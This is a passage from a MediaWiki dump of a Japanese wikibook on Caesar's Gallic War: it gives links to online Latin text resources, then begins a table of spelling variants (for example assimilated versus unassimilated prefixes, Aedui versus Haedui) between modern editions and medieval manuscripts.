* &lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[https://www.intratext.com/IXT/LAT0044/_INDEX.HTM De bello Gallico - Table of Contents - IntraText CT]&lt;/span&gt;
*: （ハイパーテキスト化されたテキストと、単語リストおよびコンコーダンスを組み合わせたもの）
** [https://www.intratext.com/IXT/LAT0044/_STAT.HTM De bello Gallico - Statistics - IntraText CT] （頻度ごと単語リストのデータ集）

====Incerti auctoris（編者不詳）====
; [https://books.google.co.jp/books?id=uLA8AAAAIAAJ&amp;lpg=PA98&amp;dq=Caesar+to+Cicero.+Be+of+good+courage.+Expect+aid&amp;pg=PP1&amp;redir_esc=y#v=onepage&amp;q&amp;f=false Caesar Gallic War V with vocabulary]（第5巻）-Google ブックス（プレビュー）


;[https://www.latein.me/ Latein-Wörterbuch - Latein.me]
# [https://www.latein.me/text/3/Caesar/37/De+Bello+Gallico+%28V%29/p/0 De Bello Gallico (V) - Caesar - Latein.me]


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&lt;/span&gt;


;nodictionaries.com
&lt;!-- :[https://nodictionaries.com/caesar/de-bello-gallico-1/1 '''Caesar De Bello Gallico 1''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-2/1 '''Caesar De Bello Gallico 2''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-3/1 '''Caesar De Bello Gallico 3''' 1 in Latin, with adjustable running vocabulary] 
:[https://nodictionaries.com/caesar/de-bello-gallico-4/1 '''Caesar De Bello Gallico 4''' 1 in Latin, with adjustable running vocabulary] --&gt;
:[https://nodictionaries.com/caesar/de-bello-gallico-5/1 Caesar De Bello Gallico 5 1 in Latin, with adjustable running vocabulary]

==脚注==
&lt;references /&gt;

[[Category:ガリア戦記 第7巻|*#]]</text>
      <sha1>kavjv9td6hgznsfycm7s8973d9hubnq</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記/注解編/表記のゆれ</title>
    <ns>0</ns>
    <id>47836</id>
    <revision>
      <id>305271</id>
      <parentid>303919</parentid>
      <timestamp>2026-11-01T10:33:28Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 「表記のゆれ」一覧 */ +difficilīs</comment>
      <origin>305271</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="45582" sha1="ajw8ggqbi6fqadv4b5bx6dv8m136m98" xml:space="preserve">&lt;!--【2026年03月29日起稿】--&gt;[[Category:ガリア戦記|**]]
[[ガリア戦記]]&amp;nbsp;＞&amp;nbsp;[[ガリア戦記/注解編|注解編]]&amp;nbsp;＞&amp;nbsp;'''表記のゆれ'''
:　
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:18pt;color:darkgreen;text-align:center;background-color:#efe;&quot;&gt;C・IVLII・CAESARIS・COMMENTARII・DE・BELLO・GALLICO&lt;/div&gt;

『[[ガリア戦記]]』の校訂版などにおける単語の「表記のゆれ」のまとめ。

==「表記のゆれ」一覧==
*「表記１」がおもに辞書や近代の完本などで見られる表記。
*「表記２」が中世の主要写本に見られる古い表記など。
*:できるだけ「表記２」を尊重した。
:　

{| class=&quot;wikitable sortable&quot; cellspacing=1
|-
!表記1
!表記2
!備　考
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【acclivis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:acclivis#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;c&lt;/span&gt;clīvis]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adclivis#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;clīvis]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【accommodatae】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:accommodatae|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;c&lt;/span&gt;commodātae]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adcommodatae|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;commodātae]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【allatis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:allatis|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;lātīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adlatis|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;lātīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aduatuca】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aduatuca#Latin|A&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;uātucam]]
| style=&quot;font-size:20pt;&quot; |A&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;uātucam
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aduatuci】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aduatuci|A&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;uatucī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:de:Atuatuci|A&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;uatucī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aduatucis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aduatucis|A&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;uatucīs]]
| style=&quot;font-size:20pt;&quot; |A&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;uatucīs
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aduatucos】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aduatucos|A&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;uatucōs]]
| style=&quot;font-size:20pt;&quot; |A&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;uatucōs
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aeduae】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aeduae|Aeduae]]
| style=&quot;font-size:20pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduae
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aedui】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aedui#Latin|Aeduī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Haedui|&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aeduis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aeduis|Aeduīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Haeduis|&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aeduorum】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aeduorum|Aeduōrum]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Haeduorum|&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduōrum]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aeduos】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aeduos|Aeduōs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Haeduos|&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduōs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Aeduus】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Aeduus#Latin|Aeduus]]
| style=&quot;font-size:20pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;H&lt;/span&gt;aeduus
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【aequinocti】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aequinocti|aequinoct&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aequinoctii|aequinoct&lt;span style=&quot;background-color:#ff0;&quot;&gt;iī&lt;/span&gt;]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【affecti】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:affecti|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;fectī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adfecti|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;fectī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【affecto】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:affecto#Participle|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;fectō]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adfecto#Participle|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;fectō]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【affectus】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:affectus#Participle|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;fectus]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adfectus#Adjective|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;fectus]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【afferat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:afferat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;ferat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adferat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;ferat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【afferebat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:afferebat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;ferēbat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adferebat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;ferēbat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【afferret】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:afferret|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;ferret]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adferret|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;ferret]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【afferretur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:afferretur|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;ferrētur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adferretur|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;ferrētur]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【affirmatione】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:affirmatione#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;firmātiōne]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adfirmatione#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;firmātiōne]]
| style=&quot;font-size:13pt;&quot; |[[wikt:en:affirmatio#Latin|affirmātiō]]の単数･奪格
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【afflictae】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:afflictae|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;flīctae]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adflictae|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;flīctae]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【affligunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:affligunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;f&lt;/span&gt;flīgunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adfligunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;flīgunt]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【aggregabat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aggregabat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;g&lt;/span&gt;gregābat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adgregabat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;gregābat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【aggregarant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aggregarant|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;g&lt;/span&gt;gregārant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adgregarant|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;gregārant]]
| style=&quot;font-size:10pt;&quot; |次項の [[wikt:en:adgregaverant|adgregā&lt;span style=&quot;background-color:#ff0;&quot;&gt;ve&lt;/span&gt;rant]] の&lt;br&gt; ve が縮約された形。
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【aggregaverant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aggregaverant|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;g&lt;/span&gt;gregā&lt;u&gt;ve&lt;/u&gt;rant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adgregaverant|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;gregā&lt;u&gt;ve&lt;/u&gt;rant]]
| style=&quot;font-size:10pt;&quot; | ve が縮約された形が、&lt;br&gt;前項の [[wikt:en:adgregarant|adgregārant]]
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【allato】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:allato|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;lātō]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adlato|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;lātō]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【alliciebat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:alliciebat#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;liciēbat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adliciebat#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;liciēbat]]
| style=&quot;font-size:10pt;&quot; |&lt;!--7巻31節--&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【Alpis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Alpis#Latin|Alp&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:Alpes#Latin|Alp&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appelluntur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appelluntur|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;pelluntur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpelluntur|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;pelluntur]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appetebat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appetebat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;petēbat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpetebat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;petēbat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【apportari】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:apportari|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;portārī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adportari|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;portārī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【applicant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:applicant#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;plicant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adplicant|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;plicant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【approbant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:approbant#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;probant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adprobant#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;probant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquabat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquabat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquābat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquabat|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquābat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquare】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquare#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquāre]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquare|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquāre]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquarent】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquarent|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquārent]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquarent|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquārent]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquassent】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquassent|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquāssent]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquassent|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquāssent]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquarunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquarunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquārunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquarunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquārunt]]
| style=&quot;font-size:10pt;&quot; |次項の [[wikt:en:adpropinquaverunt|adpropinquā&lt;span style=&quot;background-color:#ff0;&quot;&gt;vē&lt;/span&gt;runt]] の&lt;br&gt; vē が縮約された形。
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquaverunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquaverunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquāvērunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquaverunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquāvērunt]]
| style=&quot;font-size:10pt;&quot; | vē が縮約された形が、&lt;br&gt;前項の [[wikt:en:adpropinquarunt|adpropinquārunt]]
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appropinquavit】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appropinquavit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;propinquāvit]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpropinquavit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;propinquāvit]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【appulso】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:appulso#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;p&lt;/span&gt;pulsō]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adpulso|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;pulsō]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【arripere】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:arripere|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;r&lt;/span&gt;ripere]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adripere|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;ripere]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【articlis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:articlis|articlīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:articulis|artic&lt;span style=&quot;background-color:#ff0;&quot;&gt;u&lt;/span&gt;līs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【ascendissent】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:ascendissent#Latin|ascendissent]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adscendissent|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;scendissent]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【ascensu】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:ascensu#Noun|ascēnsū]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adscensu#Noun|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;scēnsū]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【assidua】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:assidua#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;s&lt;/span&gt;siduā]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adsidua|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;siduā]]
| style=&quot;font-size:10pt;&quot; |形容詞 [[wikt:en:assiduus#Latin|assiduus]] の女性･単数･奪格
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【assiduis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:assiduis#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;s&lt;/span&gt;siduīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adsiduis#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;siduīs]]
| style=&quot;font-size:10pt;&quot; |形容詞 [[wikt:en:assiduus#Latin|assiduus]] の複数･与格か奪格
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【assuefacti】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:assuefacti|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;s&lt;/span&gt;suēfactī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adsuefacti|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;suēfactī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【assuescere】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:assuescere#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;s&lt;/span&gt;suēscere]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adsuescere#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;suēscere]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【attingit】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:attingit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;tingit]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adtingit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;tingit]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【attingunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:attingunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;tingunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adtingunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;tingunt]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【attribuerat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:attribuerat#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;tribuerat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adtribuerat#Latin|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;tribuerat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【attribuit】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:attribuit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;tribuit]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adtribuit|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;tribuit]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【attribuunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:attribuunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;t&lt;/span&gt;tribuunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:adtribuunt|a&lt;span style=&quot;background-color:#ff0;&quot;&gt;d&lt;/span&gt;tribuunt]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【auris】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:auris#Latin|aur&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:aures#Noun|aur&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【auxili】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:auxili#Latin|auxil&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:auxilii|auxil&lt;span style=&quot;background-color:#ff0;&quot;&gt;iī&lt;/span&gt;]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【cedentis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:cedentis|cēdent&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
